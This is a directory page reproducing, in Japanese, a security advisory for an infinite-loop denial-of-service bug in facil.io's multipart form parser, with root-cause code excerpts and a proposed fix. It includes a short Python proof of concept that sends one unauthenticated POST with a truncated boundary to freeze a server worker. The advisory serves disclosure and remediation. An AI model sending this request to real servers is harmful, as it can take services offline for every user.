Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser — セキュリティアドバイザリ: facil.io MIMEパーサーにおける無限ループ DoS(部分的なバウンダリ) | Kitploit
ツール/GitHubGitHub/theopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser
脆弱性分析コード分析ウェブセキュリティ論文と研究学習と教育
GitHubtheopaid/cve-2026-66730-infinite-loop-dos-in-facil.io-mime-parser

CVE-2026-66730-Infinite-Loop-DoS-in-facil.io-MIME-Parser

セキュリティアドバイザリ: facil.io MIMEパーサーにおける無限ループ DoS(部分的なバウンダリ)

リポジトリを見る
122ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

セキュリティアドバイザリ: facil.io MIMEパーサーにおける無限ループDoS(不完全なバウンダリ)

割り当てられたCVE ID: CVE-2026-66730

製品: facil.io
影響を受けるバージョン: facil.io >= 0.6.0 (すべての0.6.x、すべての0.7.x、master); MIMEパーサーとともに0.6.0で導入
コンポーネント: lib/facil/http/http.c, lib/facil/http/parsers/http_mime_parser.h
CWE: CWE-835 (到達不能な終了条件を持つループ), CWE-400 (制御されないリソース消費)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究者: Theodosis Paidakis


概要

ボディが不完全なクロージングバウンダリ(例: --B--\r\n の代わりに --B-)で終わる multipart/form-data リクエストは、http_parse_body() を100% CPUで無限ループさせます。MIMEパーサーは不完全なバウンダリで停滞すると、消費バイト数として0を返します。しかし、呼び出し側のループは !done && !error のみをチェックします。どちらのフラグも設定されないため、同じデータに対してパーサーを永久に再呼び出しします。サーバーはクラッシュしないため、ワーカーは再生成されません。認証のない1回のPOSTリクエストで、1つのワーカーが永久にフリーズします。

これは、JSONパーサー(fio_json_parser.h)の無限ループである CVE-2026-41146 とは無関係です。このバグはMIME/multipartパーサーにあります。


根本原因

パート1: 呼び出し側に進行ガードがない

lib/facil/http/http.c の1963-1967行目

// lib/facil/http/http.c:1963-1967
do {
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;                                         // += 0 when parser stalls
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);    // same slice returned again
} while (p.buffer.data && !p.p.done && !p.p.error);       // neither flag set -> loops forever

http_mime_parse が0を返し、done も error も設定しない場合、p.pos は固定されたままになり、fiobj_data_pread は同じバッファを返すため、ループには出口がありません。

パート2: http_mime_parse が0を返す場合

lib/facil/http/parsers/http_mime_parser.h の314-329行目と consume_partial ブランチ

パーサーは値セクションをスキャンして、完全なバウンダリを探します。ボディが \n--B-(完全なクロージングバウンダリ \n--B--\r\n より4バイト短い)で終わる場合、スキャンは \n の後にバウンダリの開始のように見えるものを見つけますが、それが完全であることを確認できません:

// lib/facil/http/parsers/http_mime_parser.h:314-329 (value scan)
do {
    end = memchr(end, '\n', (size_t)(stop - end));
} while (end && ++end &&
         (size_t)(stop - end) >= (4 + parser->boundary_len) &&
         (end[0] != '-' || end[1] != '-' || memcmp(end+2, parser->boundary, parser->boundary_len)));
if (!end || end + 4 + parser->boundary_len >= stop) {
    // partial boundary -- transition to consume_partial on first call
    parser->in_obj = 1;
    goto consume_partial;
}

次の呼び出しでは、in_obj はすでに設定されています。consume_partial ブランチは --B- の前で同じ \n を見つけ、未消費のデータの前に戻りポインタを戻します:

// lib/facil/http/parsers/http_mime_parser.h (consume_partial branch, ~line 162-169)
} else if (end + 4 + parser->boundary_len >= stop) {
    end -= 2;
    if (end[0] == '\r') --end;   // end now points before the \n
    pos = end;                    // return pointer set behind any new data
    goto end_of_data;             // returns 0 bytes consumed
}

pos は開始位置と同じか、それ以前になります。関数は0を返します。呼び出し側に戻ると cons = 0 となり、p.pos は移動しないため、サイクルが繰り返されます。


概念実証

サーバーを起動し、次を実行します:

# poc_mime_infinite_loop.py
import socket, time

BOUNDARY = "B"
body = (
    "--B\r\n"
    "Content-Disposition: form-data; name=field\r\n"
    "\r\n"
    "value\r\n"
    "--B-"      # partial closing boundary: missing final '-\r\n'
).encode()

req = (
    f"POST / HTTP/1.1\r\nHost: 127.0.0.1\r\n"
    f"Content-Type: multipart/form-data; boundary=B\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode() + body

s = socket.socket()
s.settimeout(10)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    s.recv(4096)
    print("got response - not vulnerable")
except socket.timeout:
    print("hung for 10s - server spinning at 100% CPU")

観測結果: サーバープロセスがCPUの99.7〜100%を占有。回復には kill -9 が必要です。


影響

フリーズしたワーカーは決して終了しないため、再生成は発生しません。ワーカー数と同数のリクエストを送信すると、手動で再起動するまでサーバーはすべてのクライアントへのサービスを永久に停止します。認証、特別なヘッダー、事前の状態は一切不要です。


修正

http_parse_body のループに進行ガードを追加します:

lib/facil/http/http.c の1963-1967行目

// lib/facil/http/http.c:1963-1967 -- proposed fix
size_t last_pos = (size_t)-1;
do {
    if (p.pos == last_pos) { p.p.error = 1; break; }   // no progress: abort
    last_pos = p.pos;
    size_t cons = http_mime_parse(&p.p, p.buffer.data, p.buffer.len);
    p.pos += cons;
    p.buffer = fiobj_data_pread(h->body, p.pos, 4096);
} while (p.buffer.data && !p.p.done && !p.p.error);
ツールをダウンロード